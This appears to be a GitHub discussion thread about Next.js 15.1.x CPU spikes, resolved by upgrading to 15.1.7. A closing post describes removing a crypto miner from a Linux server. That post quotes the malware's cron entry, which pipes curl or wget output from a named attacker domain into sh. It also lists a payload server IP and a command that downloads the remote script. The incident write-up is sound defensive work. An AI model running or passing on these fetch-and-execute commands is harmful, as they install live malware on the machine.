Next.js ^15.1.0 consuming high CPU

[hdodov]

Summary

Once we upgraded to Next 15.1.0, we started experiencing weird CPU usage peaks at times of low request counts:

The above is our CPU usage vs request count for the last 2 weeks. Here's one for the last 3 hours, captured just now:

As you can see, request counts stay fairly stable, while CPU usage explodes…

Edit: Here's another screenshot — traffic stays the same, yet CPU usage drops significantly:

This has probably happened because the servers stopped getting overwhelmed with requests, as the response times had become near-instant — from ~0.80s to ~0.03s. Such response times only happen for cached content. Therefore, I think that something's wrong with the cache.

Does anyone experience something similar?

Related discussion: #73908

Additional information

Operating System:
  Platform: darwin
  Arch: x64
  Version: Darwin Kernel Version 23.6.0: Fri Nov 15 15:13:28 PST 2024; root:xnu-10063.141.1.702.7~1/RELEASE_X86_64
  Available memory (MB): 32768
  Available CPU cores: 16
Binaries:
  Node: 20.17.0
  npm: 10.8.2
  Yarn: N/A
  pnpm: 9.15.0
Relevant Packages:
  next: 15.1.1 // Latest available version is detected (15.1.1).
  eslint-config-next: 15.1.1
  react: 19.0.0
  react-dom: 19.0.0
  typescript: 5.7.2
Next.js Config:
  output: standalone

Example

No response

[hdodov]

@leerob do you think that the v15.1.0 release could contain some regression?

We heavily rely on the ISR cache to reduce server load, so my guess is that an increase in CPU usage could be due to some issue regarding the cache. This makes me suspicious of the following PRs that are part of the 15.1.0 release:

• [Segment Cache] Implement behavior on cache miss  #72841
• [Segment Cache] Interception routes #73434
• [Segment Cache] Use LRU to manage cache data  #73486
• [Segment Cache] Add isHeadPartial #73530

@acdlite @ijjk since you collaborated on those PRs, can you think of a reason why this happens?

@reh2ur has also noticed a similar issue since his upgrade to 15.1.0, as he has said here: #73908 (comment)

[havran]

We have similar problem.

NextJS 15.1.4

For some reason CPU usage and CPU throttling on container go up in time.

[huozhi]

We have a fix in v15.1.6 that potentially can help reduce memory leak issue. Could you upgrade to v15.1.6 to see if memory usage goes down in monitoring? Thanks 🙏

[hdodov]

@huozhi could we turn this from a discussion to an issue? Multiple people are experiencing and it's apparently an actual issue/bug, not just a problem with a specific person's setup.

[hamidrezahanafi]

Same here, the issue still there with high CPU usage, can we reopen this issue?

[2803media]

I just upgrade to 15.1.7 from 15.1.6 and the CPU usage look like more normal (with node 20.18.2)

[huozhi]

We landed a patch in https://github.com/vercel/next.js/releases/tag/v15.1.7 related to memory leak. Please upgrade and let us know if that fixes your issue. Thanks 🙏

[hdodov]

Yep, Node 22.14 with Next 15.1.7 does it for me. Thank you, @huozhi!

[bloodykheeng]

---

✅ i had the same problem to on my linode vps where i find cpu usage very high in the midnight but i discovered there was milicious executable running and using high cpu usage i saw it through htop and it reulted to be a crypto miner

✅ How I Removed a Malicious Crypto Miner on My Linux Server

I recently discovered that my Linux system was compromised by a malicious cryptocurrency mining script. Here's how I diagnosed and resolved the issue:

---

🔎 Step 1: Spotted High CPU Usage with htop

I noticed my server was unusually slow, so I opened htop to check system resource usage:

htop

There I saw suspicious processes using a lot of CPU. I noted the PID (in my case 242116) and terminated it:

kill -9 242116

---

🧪 Step 2: Investigated Cron Jobs

To check for persistent malware, I listed all cron jobs:

ls -la /etc/cron*

I found two suspicious files:

-rw-r--r-- 1 root root 120 May 15 00:00 mdadm

---

📂 Step 3: Inspected the Contents

I checked both files to see what they were doing:

cat /etc/cron.d/reboot

@reboot root sleep 60 && cd /root/.local/share && ./vyatta

cat /etc/cron.d/mdadm

0 0 * * * root sh -c "(curl -sk https://fulminare.top || wget --no-check-certificate -qO - https://fulminare.top) | sh"

It was clear mdadm was downloading and executing a script from a remote server every night.

---

🔍 Step 4: Analyzed the Malicious Script

I wanted to see what was being downloaded, so I created a safe test directory:

mkdir /root/test && cd /root/test
curl -sk https://fulminare.top -o malicious_script.txt
nano malicious_script.txt

Upon inspection, the script was indeed malicious.

---

☠️ What the Script Was Doing

• Generated random filenames to disguise itself.

• Killed CPU-intensive processes (to make way for crypto mining).

• Downloaded payloads based on system architecture from http://77.110.110.55:

  • x86_64: /1
  • aarch64: /2
  • amd64: /3 (saved as support)

• Established persistence via:

  • Cron jobs (/etc/cron.d)
  • Udev rules (/etc/udev/rules.d)

• Attempted privilege escalation

• Cleared logs and bash history to hide traces

• Communicated with external IPs, including loop.anondns.net

---

🧹 Step 5: Removed the Malware

I deleted the malicious cron jobs:

rm -f /etc/cron.d/mdadm

I also checked and removed malicious udev rules:

rm -f /etc/udev/rules.d/mdadm

---